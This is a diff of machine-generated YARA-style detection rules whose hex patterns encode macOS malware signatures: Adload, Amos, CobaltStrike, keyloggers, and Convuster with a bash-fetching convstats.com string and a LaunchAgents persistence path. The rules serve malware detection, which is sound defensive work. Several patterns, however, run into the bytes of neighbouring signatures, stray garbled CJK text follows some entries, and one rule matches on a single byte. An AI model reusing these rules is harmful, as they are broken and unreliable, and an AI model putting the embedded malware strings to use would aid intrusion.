00 19 } //28233 + $a_64_3 = {63 2d 43 2f 57 68 69 74 65 53 6d 6f 6b 65 2f 6d 61 69 6e 2e 6d 01 00 0d 00 43 6f 64 65 63 2d 4d 2e 62 75 69 6c 64 01 00 1a 00 43 6f 64 65 63 2d 4d 2f 57 69 6e 64 6f 77 20 41 70 70 6c 69 63 61 74 69 6f 6e 01 00 15 00 57 68 69 74 65 53 6d 6f 6b 65 41 70 70 44 65 6c 65 67 61 74 65 00 00 02 00 8d 8d 00 00 03 00 03 00 05 00 21 23 41 4c } //17152 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29545+(#a_89_2 & 1)*1025) >=4 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29545+(#a_2f_2 & 1)*28233+(#a_64_3 & 1)*17152) >=4 } -rule _InfrastructureShared_21163{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 50 21 4d 54 42 00 01 00 22 03 49 89 d6 48 89 c3 48 8d 7d e0 e8 90 01 04 48 89 df e8 90 01 04 41 83 fe 02 75 90 01 01 } //21539 - $a_90_1 = {01 00 31 03 4d 8b 6e 60 4b 8b 7c 3d f0 e8 90 01 04 4b 8b 4c 3d f8 4b 8b 54 3d 00 4c 89 e7 48 89 c6 e8 90 01 04 48 ff c3 49 63 46 68 49 83 c7 18 48 39 c3 90 00 00 00 8d } //-29880 - condition: - ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-29880) >=2 - -} -rule _InfrastructureShared_21164{ +rule _InfrastructureShared_22445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -279281,7 +295705,7 @@ rule _InfrastructureShared_21164{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*19567+(#a_6b_2 & 1)*27987) >=3 } -rule _InfrastructureShared_21165{ +rule _InfrastructureShared_22446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -279294,7 +295718,7 @@ rule _InfrastructureShared_21165{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*25956+(#a_6f_2 & 1)*28769+(#a_6b_3 & 1)*24916) >=3 } -rule _InfrastructureShared_21166{ +rule _InfrastructureShared_22447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -279308,7 +295732,7 @@ rule _InfrastructureShared_21166{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*28517+(#a_54_2 & 1)*8530+(#a_00_3 & 1)*2+(#a_00_4 & 1)*0) >=3 } -rule _InfrastructureShared_21167{ +rule _InfrastructureShared_22448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 02 00 21 " @@ -279319,7 +295743,7 @@ rule _InfrastructureShared_21167{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*-1) >=4 } -rule _InfrastructureShared_21168{ +rule _InfrastructureShared_22449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279330,7 +295754,7 @@ rule _InfrastructureShared_21168{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*12589) >=4 } -rule _InfrastructureShared_21169{ +rule _InfrastructureShared_22450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279343,7 +295767,7 @@ rule _InfrastructureShared_21169{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_21170{ +rule _InfrastructureShared_22451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279356,7 +295780,7 @@ rule _InfrastructureShared_21170{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29440+(#a_74_2 & 1)*18222+(#a_53_3 & 1)*25441) >=4 } -rule _InfrastructureShared_21171{ +rule _InfrastructureShared_22452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279369,7 +295793,7 @@ rule _InfrastructureShared_21171{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26994+(#a_4f_2 & 1)*8275+(#a_61_3 & 1)*27758) >=4 } -rule _InfrastructureShared_21172{ +rule _InfrastructureShared_22453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279382,7 +295806,7 @@ rule _InfrastructureShared_21172{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24943+(#a_00_2 & 1)*8293+(#a_72_3 & 1)*21538) >=5 } -rule _InfrastructureShared_21173{ +rule _InfrastructureShared_22454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -279392,7 +295816,7 @@ rule _InfrastructureShared_21173{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_21174{ +rule _InfrastructureShared_22455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279405,7 +295829,7 @@ rule _InfrastructureShared_21174{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25459+(#a_64_2 & 1)*28015+(#a_65_3 & 1)*17251) >=5 } -rule _InfrastructureShared_21175{ +rule _InfrastructureShared_22456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -279418,19 +295842,41 @@ rule _InfrastructureShared_21175{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0) >=3 } -rule _InfrastructureShared_21176{ +rule _InfrastructureShared_22457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 41 59 00 01 00 15 00 5a 4c 31 32 64 65 63 72 79 70 74 5f 62 79 74 65 50 6d 50 4b 6d 02 00 1c 00 89 f0 25 ff ff 00 00 83 c8 02 89 45 ec 8b } //16675 - $a_4d_1 = {83 f1 01 0f af c1 c1 e8 08 02 00 23 00 48 c1 ee 18 89 f2 89 55 e8 48 8b 75 f0 48 8b 7d f8 48 8b 7f 10 89 fa 33 55 e8 81 e2 ff 00 00 00 48 63 fa 00 00 8d 90 00 00 03 00 03 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 52 65 66 6f 67 2e 45 00 02 00 10 00 63 6f 6d 2e 72 65 66 6f 67 2e 76 69 65 77 65 72 01 00 0e 00 63 6f 6d 2e 6c 6f 73 74 2e 73 6d 6f 6b 65 01 00 23 00 52 65 66 6f 67 2f 6d 61 63 } //-5051 - $a_76_2 = {72 72 69 64 65 2f 6d 61 63 68 5f 6f 76 65 72 72 69 64 65 2e 63 01 00 0b 00 52 65 66 6f 67 20 49 6e 63 2e 31 01 00 0a 00 41 39 32 54 46 35 35 42 4a 34 00 00 02 00 8d 91 00 00 02 00 02 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 45 6c 69 74 65 4b 65 79 6c 6f 67 67 65 72 2e 43 00 01 00 15 00 45 6c 69 74 65 4b } //24424 + $a_4d_1 = {83 f1 01 0f af c1 c1 e8 08 02 00 23 00 48 c1 ee 18 89 f2 89 55 e8 48 8b 75 f0 48 8b 7d f8 48 8b 7f 10 89 fa 33 55 e8 81 e2 ff 00 00 00 48 63 fa 00 00 8d 90 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 56 21 4d 54 42 00 01 00 1e 01 48 8b 03 48 89 df 4c 89 ea ff 50 60 49 89 c6 f6 45 c0 01 74 09 48 8b 7d d0 e8 25 01 00 00 01 00 43 01 41 81 e5 b0 00 00 00 4d 01 fe } //-5051 + $a_20_2 = {89 fa 49 0f 44 d6 44 0f be c8 4c 89 fe 4c 89 f1 4d 89 e0 e8 8e 00 00 00 48 85 c0 75 17 48 8b 03 48 8b 40 e8 48 8d 3c 03 8b 74 03 20 83 ce 05 e8 39 02 00 00 00 00 8d 90 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 21 4d 54 42 00 01 00 41 01 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 81 ec 48 0b 00 00 48 8b 05 cd 72 32 00 48 8b 00 48 89 45 d0 8b 0d 58 66 35 00 81 f1 d4 00 00 00 48 83 ec 0a 50 68 e2 26 3d 67 31 c0 0f 84 01 00 00 00 c3 01 00 19 01 48 8b 45 b0 8b 08 48 83 ec 0a 50 68 f1 6e 9e 31 31 c0 0f 84 01 00 00 00 c3 00 00 8d 90 00 00 03 00 03 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 52 65 66 6f 67 2e 45 00 02 00 10 00 63 6f 6d 2e 72 65 66 6f 67 } //-31935 condition: - ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*-5051+(#a_76_2 & 1)*24424) >=5 + ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*-5051+(#a_20_2 & 1)*-31935) >=5 } -rule _InfrastructureShared_21177{ +rule _InfrastructureShared_22458{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 56 21 4d 54 42 00 01 00 1e 01 48 8b 03 48 89 df 4c 89 ea ff 50 60 49 89 c6 f6 45 c0 01 74 09 48 8b 7d d0 e8 25 01 00 00 01 00 43 01 41 81 e5 b0 00 00 } //21539 + $a_fe_1 = {83 } //19712 + condition: + ((#a_4c_0 & 1)*21539+(#a_fe_1 & 1)*19712) >=2 + +} +rule _InfrastructureShared_22459{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 21 4d 54 42 00 01 00 41 01 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 81 ec 48 0b 00 00 48 8b 05 cd 72 32 00 48 8b 00 48 89 45 } //21539 + $a_58_1 = {35 00 81 f1 d4 00 00 00 48 83 ec 0a 50 } //-29744 + condition: + ((#a_4c_0 & 1)*21539+(#a_58_1 & 1)*-29744) >=2 + +} +rule _InfrastructureShared_22460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -279444,7 +295890,7 @@ rule _InfrastructureShared_21177{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25974+(#a_74_2 & 1)*29285+(#a_00_3 & 1)*0+(#a_23_4 & 1)*4) >=3 } -rule _InfrastructureShared_21178{ +rule _InfrastructureShared_22461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -279457,7 +295903,7 @@ rule _InfrastructureShared_21178{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25970+(#a_61_2 & 1)*29230+(#a_00_3 & 1)*0) >=2 } -rule _InfrastructureShared_21179{ +rule _InfrastructureShared_22462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 21 " @@ -279470,7 +295916,7 @@ rule _InfrastructureShared_21179{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_00_2 & 1)*29816+(#a_67_3 & 1)*27648) >=2 } -rule _InfrastructureShared_21180{ +rule _InfrastructureShared_22463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -279478,25 +295924,38 @@ rule _InfrastructureShared_21180{ $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4c 6f 67 4b 65 78 74 2e 41 00 01 00 15 00 63 6f 6d 5f 66 73 62 5f 69 6f 6b 69 74 5f 6c 6f 67 4b 65 78 74 01 00 11 00 6c 6f 67 4b 65 78 74 55 73 65 72 43 6c 69 65 6e 74 01 00 21 00 2f 6c } //16675 $a_65_1 = {74 2e 6b 65 78 74 2f 43 6f 6e 74 65 6e 74 73 2f 49 6e 66 6f 2e 70 6c 69 73 74 01 00 12 00 6c 6f 67 4b 65 78 74 39 4d 65 74 61 43 6c 61 73 73 45 00 00 02 00 8d 91 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 } //26479 $a_63_2 = {53 2f 41 64 6c 6f 61 64 2e 44 00 02 00 14 00 63 6f 6d 2e 73 79 73 74 65 6d 6e 6f 74 65 73 33 31 34 31 36 01 00 25 00 53 79 73 74 65 6d 4e 6f 74 65 73 5f 65 78 74 65 6e 73 69 6f 6e 31 35 53 65 74 74 69 6e 67 73 4d 61 6e 61 67 65 01 00 17 00 53 79 73 74 65 6d 4e 6f 74 65 73 5f 65 78 74 65 6e } //19770 - $a_6e_3 = {39 01 00 0a 00 36 42 42 39 34 42 43 32 46 59 00 00 03 00 8d 91 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 61 63 53 65 61 72 63 68 2e 45 00 01 00 11 01 2f 2f 74 65 6d 70 74 65 6d 70 75 72 69 2e 6f 72 67 01 00 34 01 6f 70 65 6e 20 2d 61 20 73 61 66 61 72 69 20 2f 55 73 65 72 73 2f 53 68 61 72 65 64 2f 53 61 66 61 } //26995 + $a_6e_3 = {39 01 00 0a 00 36 42 42 39 34 42 43 32 46 59 00 00 03 00 8d 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 4b 65 79 6c 6f 67 49 6d 70 6f 72 74 2e 41 32 00 01 00 12 00 49 4f 48 49 44 4d 61 6e 61 67 65 72 43 72 65 61 74 65 01 00 26 00 49 4f 48 49 44 4d 61 6e 61 67 65 72 52 65 67 69 73 74 65 } //26995 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26479+(#a_63_2 & 1)*19770+(#a_6e_3 & 1)*26995) >=3 } -rule _InfrastructureShared_21181{ +rule _InfrastructureShared_22464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 44 00 02 00 14 00 63 6f 6d 2e 73 79 73 74 65 6d 6e 6f 74 65 73 33 31 34 31 36 01 00 25 00 53 79 73 74 65 6d 4e 6f 74 65 73 5f 65 78 74 65 6e 73 69 6f 6e 31 35 53 65 } //16675 剅䠺呓㩒慍佣⽓摁潬摡䐮Ȁ᐀挀浯献獹整湭瑯獥ㄳㄴĶ─匀獹整乭瑯獥敟瑸湥楳湯㔱敓 - $a_6e_1 = {73 4d 61 6e 61 67 65 01 00 17 00 53 79 73 74 65 6d 4e 6f 74 65 73 5f 65 78 74 65 6e 73 69 6f 6e 32 39 01 00 0a 00 36 42 42 39 34 42 43 32 46 59 00 00 03 00 8d 91 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 61 63 53 65 61 72 63 68 2e 45 00 01 00 11 01 2f 2f 74 65 6d 70 74 65 6d 70 75 72 69 2e 6f } //29812 - $a_00_2 = {34 } //26482 4 - $a_65_3 = {20 2d 61 20 73 61 66 61 72 69 20 2f 55 73 65 72 73 2f 53 68 61 72 65 64 2f 53 61 66 61 72 69 53 65 74 74 65 72 2e 73 61 66 61 72 69 65 78 74 7a 01 00 09 01 6d 61 63 73 65 61 72 63 68 01 00 13 00 61 70 70 6c 69 63 61 74 69 6f 6e 57 69 6c 6c 48 69 64 65 00 00 8d 91 00 00 06 00 06 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 } //28417 + $a_6e_1 = {73 4d 61 6e 61 67 65 01 00 17 00 53 79 73 74 65 6d 4e 6f 74 65 73 5f 65 78 74 65 6e 73 69 6f 6e 32 39 01 00 0a 00 36 42 42 39 34 42 43 32 46 59 00 00 03 00 8d 91 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 4b 65 79 6c 6f 67 49 6d 70 6f 72 74 2e 41 32 00 01 00 12 00 49 4f } //29812 + $a_4d_2 = {6e 61 67 65 72 43 72 65 61 74 65 01 00 26 00 49 4f 48 49 44 4d 61 6e 61 67 65 72 52 65 67 69 73 74 65 72 49 6e 70 75 74 56 61 6c 75 65 43 61 6c 6c 62 61 63 6b 01 00 10 00 49 4f 48 49 44 4d 61 6e 61 67 65 } //18760 慮敧䍲敲瑡ť☀䤀䡏䑉慍慮敧割来獩整䥲灮瑵慖畬䍥污扬捡ūက䤀䡏䑉慍慮敧 + $a_65_3 = {01 00 0c 00 43 46 52 75 6e 4c 6f 6f 70 52 75 6e 00 00 8d 91 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 61 63 53 65 61 72 63 68 2e 45 00 01 00 11 01 2f 2f 74 65 6d 70 74 65 6d 70 75 72 69 2e 6f 72 67 01 00 34 01 6f 70 65 6e 20 2d 61 20 73 61 66 61 72 69 20 2f 55 73 65 72 73 2f 53 68 61 72 65 64 2f 53 61 66 61 72 69 } //20338 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29812+(#a_00_2 & 1)*26482+(#a_65_3 & 1)*28417) >=4 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29812+(#a_4d_2 & 1)*18760+(#a_65_3 & 1)*20338) >=4 } -rule _InfrastructureShared_21182{ +rule _InfrastructureShared_22465{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 4d 61 63 4f 53 2f 55 6e 73 69 67 6e 65 64 4b 65 79 6c 6f 67 49 6d 70 6f 72 74 2e 41 32 00 01 00 12 00 49 4f 48 49 44 4d 61 6e 61 67 65 72 43 72 65 61 74 65 01 00 26 00 49 4f 48 49 44 4d 61 6e 61 67 65 72 52 65 67 69 73 74 65 72 49 6e 70 75 74 56 } //18467 + $a_65_1 = {61 6c 6c 62 61 63 6b 01 00 10 00 49 4f 48 49 44 4d 61 6e 61 67 65 72 4f 70 65 6e 01 00 0c 00 43 46 52 75 6e 4c 6f 6f 70 52 75 6e 00 00 8d 91 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 61 63 53 65 61 72 63 68 2e 45 00 01 00 11 01 2f 2f 74 65 6d 70 74 65 6d 70 75 72 69 2e 6f 72 67 01 00 34 01 6f 70 65 6e 20 2d 61 20 73 61 66 61 72 } //27745 + $a_55_2 = {65 72 73 2f 53 68 61 72 65 64 2f 53 61 66 61 72 69 53 65 74 74 65 72 2e 73 61 66 61 72 69 65 78 74 7a 01 00 09 01 6d 61 63 73 65 61 72 63 68 } //8297 + $a_00_3 = {61 70 70 6c 69 63 61 74 69 6f 6e 57 69 6c 6c 48 69 64 65 } //1 applicationWillHide + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27745+(#a_55_2 & 1)*8297+(#a_00_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_22466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279509,7 +295968,7 @@ rule _InfrastructureShared_21182{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*24947+(#a_00_2 & 1)*2+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_21183{ +rule _InfrastructureShared_22467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -279522,7 +295981,7 @@ rule _InfrastructureShared_21183{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29806+(#a_68_2 & 1)*10243+(#a_3a_3 & 1)*21587) >=6 } -rule _InfrastructureShared_21184{ +rule _InfrastructureShared_22468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 00 21 " @@ -279534,7 +295993,7 @@ rule _InfrastructureShared_21184{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*13361+(#a_00_2 & 1)*0) >=2 } -rule _InfrastructureShared_21185{ +rule _InfrastructureShared_22469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -279542,26 +296001,37 @@ rule _InfrastructureShared_21185{ $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 54 33 32 53 75 70 70 6f 72 74 47 65 65 6b 73 2e 43 00 02 00 19 00 63 6f 6d 2e 74 65 63 68 75 74 69 6c 73 2e 74 61 73 6b 72 65 70 6c 61 63 65 01 00 0f 00 4d 61 63 4d 65 63 68 61 6e 69 } //16675 $a_72_1 = {01 00 1f 00 63 6f 6d 2e 6d 61 63 6d 65 63 68 61 6e 69 63 2e 6d 77 6d 68 70 68 6c 70 72 2e 70 6c 69 73 74 01 00 0a 00 52 5a 37 34 55 59 54 37 34 32 00 00 02 00 8d 92 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 } //8291 $a_53_2 = {63 69 61 6c 32 53 65 61 72 63 68 2e 42 00 01 00 0f 00 63 6f 6d 2e 73 65 61 72 63 68 70 61 67 65 2e 01 00 12 00 73 70 69 69 6e 73 74 61 6c 6c } //21327 - $a_73_3 = {61 6c 6c 01 00 07 00 73 70 69 2e 61 70 70 01 00 11 00 73 65 61 72 63 68 61 77 65 73 6f 6d 65 2e 6e 65 74 01 00 17 00 73 70 69 69 6e 73 74 61 6c 6c 31 31 41 70 70 44 65 6c 65 67 61 74 65 00 00 03 00 8d 93 00 00 04 00 04 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 43 6f 6e 76 75 73 74 65 72 2e 42 00 02 00 } //18743 + $a_73_3 = {61 6c 6c 01 00 07 00 73 70 69 2e 61 70 70 01 00 11 00 73 65 61 72 63 68 61 77 65 73 6f 6d 65 2e 6e 65 74 01 00 17 00 73 70 69 69 6e 73 74 61 6c 6c 31 31 41 70 70 44 65 6c 65 67 61 74 65 00 00 03 00 8d 93 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 5a 21 4d 54 42 00 01 00 28 } //18743 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*8291+(#a_53_2 & 1)*21327+(#a_73_3 & 1)*18743) >=3 } -rule _InfrastructureShared_21186{ +rule _InfrastructureShared_22470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 53 6f 63 69 61 6c 32 53 65 61 72 63 68 2e 42 00 01 00 0f 00 63 6f 6d 2e 73 65 61 72 63 68 70 61 67 65 2e 01 00 12 00 73 70 69 69 6e 73 74 61 6c 6c 37 49 6e 73 74 61 6c 6c 01 00 07 00 73 } //16675 $a_61_1 = {70 01 00 11 00 73 65 61 72 63 68 61 77 65 73 6f 6d 65 2e 6e 65 74 01 00 17 00 73 70 69 69 6e 73 74 61 6c 6c 31 31 41 70 70 44 65 6c 65 67 } //26992 - $a_00_2 = {00 03 00 8d 93 00 00 04 00 04 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 43 6f 6e 76 75 73 74 65 72 2e 42 00 02 00 1d 02 2e 63 6f 6e 76 73 74 61 74 73 2e 63 6f 6d 2f 90 02 05 2f 62 69 6e 2f 62 61 73 68 90 00 01 00 26 00 2f 4c 69 62 72 61 72 79 2f 4c 61 75 6e 63 68 41 67 65 6e } //29793 - $a_63_3 = {6d 2e 69 73 74 2e 75 70 2e 70 6c 69 73 74 01 00 1a 00 63 6f 6e 74 65 78 74 20 6d 69 73 73 69 6e 67 73 72 63 2f 6d 61 69 6e 2e 72 73 00 00 03 } //29556 - $a_00_4 = {00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4a 61 77 65 67 6f 2e 43 00 02 00 1f 00 63 6f 6d 2e 6d 61 63 63 6c 65 61 6e 70 6c 75 73 2e 4d 61 63 2d 43 6c 65 61 6e 2d 50 6c 75 73 01 00 26 00 4d 61 63 43 6c 65 61 6e 50 6c 75 73 2f 73 6f 75 72 63 65 2f 4d 43 50 53 65 74 74 6e 67 57 49 6e 43 6f 6e 74 2e 6d 01 00 0d 00 47 65 74 49 6e 74 72 6e 74 50 72 69 76 01 00 0a 00 33 45 4a 4c 48 55 38 55 35 44 00 00 03 } //-29440 + $a_00_2 = {00 03 00 8d 93 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 5a 21 4d 54 42 00 01 00 28 01 fd 7b bf a9 fd 03 00 91 00 01 80 52 84 00 00 94 71 00 00 94 21 05 00 f0 21 14 40 f9 22 05 00 f0 42 04 40 f9 87 00 00 94 01 00 3c 01 ff 83 04 d1 fc 6f 0e a9 f6 } //29793 + $a_f4_3 = {10 a9 fd 7b 11 a9 fd 43 04 91 13 00 80 d2 34 05 00 90 94 12 0f 91 bf 7f 3a a9 35 05 00 90 b5 12 1f 91 bf 03 1b f8 36 05 00 90 d6 12 17 91 00 00 8d 93 00 00 04 00 04 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 43 6f 6e 76 75 73 74 65 72 2e 42 00 02 00 1d 02 2e 63 6f 6e 76 73 74 61 74 73 2e 63 6f 6d 2f 90 02 05 2f 62 69 6e 2f 62 61 73 68 90 00 01 00 26 00 2f 4c 69 62 72 61 72 79 2f 4c 61 75 6e 63 68 41 67 65 6e 74 73 2f 63 6f 6d 2e 69 73 74 2e 75 70 2e 70 6c 69 73 74 01 00 1a 00 } //3927 + $a_74_4 = {78 74 20 6d 69 73 73 69 6e 67 73 72 63 2f 6d 61 69 6e 2e 72 73 00 00 03 00 8d 93 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4a 61 77 65 67 6f 2e 43 00 02 00 1f 00 63 6f 6d 2e 6d 61 63 63 6c 65 61 6e 70 6c 75 73 2e 4d 61 63 2d 43 6c 65 61 6e 2d 50 6c 75 73 01 00 26 00 4d 61 63 43 6c 65 61 } //28515 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26992+(#a_00_2 & 1)*29793+(#a_63_3 & 1)*29556+(#a_00_4 & 1)*-29440) >=4 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26992+(#a_00_2 & 1)*29793+(#a_f4_3 & 1)*3927+(#a_74_4 & 1)*28515) >=4 } -rule _InfrastructureShared_21187{ +rule _InfrastructureShared_22471{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 5a 21 4d 54 42 00 01 00 28 01 fd 7b bf a9 fd 03 00 91 00 01 80 52 84 00 00 94 71 00 00 94 21 05 00 f0 21 14 40 f9 22 05 00 f0 42 04 40 f9 87 00 00 94 } //21539 + $a_01_1 = {ff 83 04 d1 fc 6f 0e a9 f6 57 0f a9 f4 4f 10 a9 fd 7b 11 a9 fd 43 04 91 13 00 80 d2 34 05 00 90 94 12 0f 91 bf 7f 3a a9 35 05 00 90 b5 12 1f 91 bf 03 1b f8 36 05 00 90 d6 12 17 91 } //1 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1) >=2 + +} +rule _InfrastructureShared_22472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -279573,7 +296043,7 @@ rule _InfrastructureShared_21187{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26723+(#a_46_2 & 1)*16675) >=4 } -rule _InfrastructureShared_21188{ +rule _InfrastructureShared_22473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279586,7 +296056,7 @@ rule _InfrastructureShared_21188{ ((#a_46_0 & 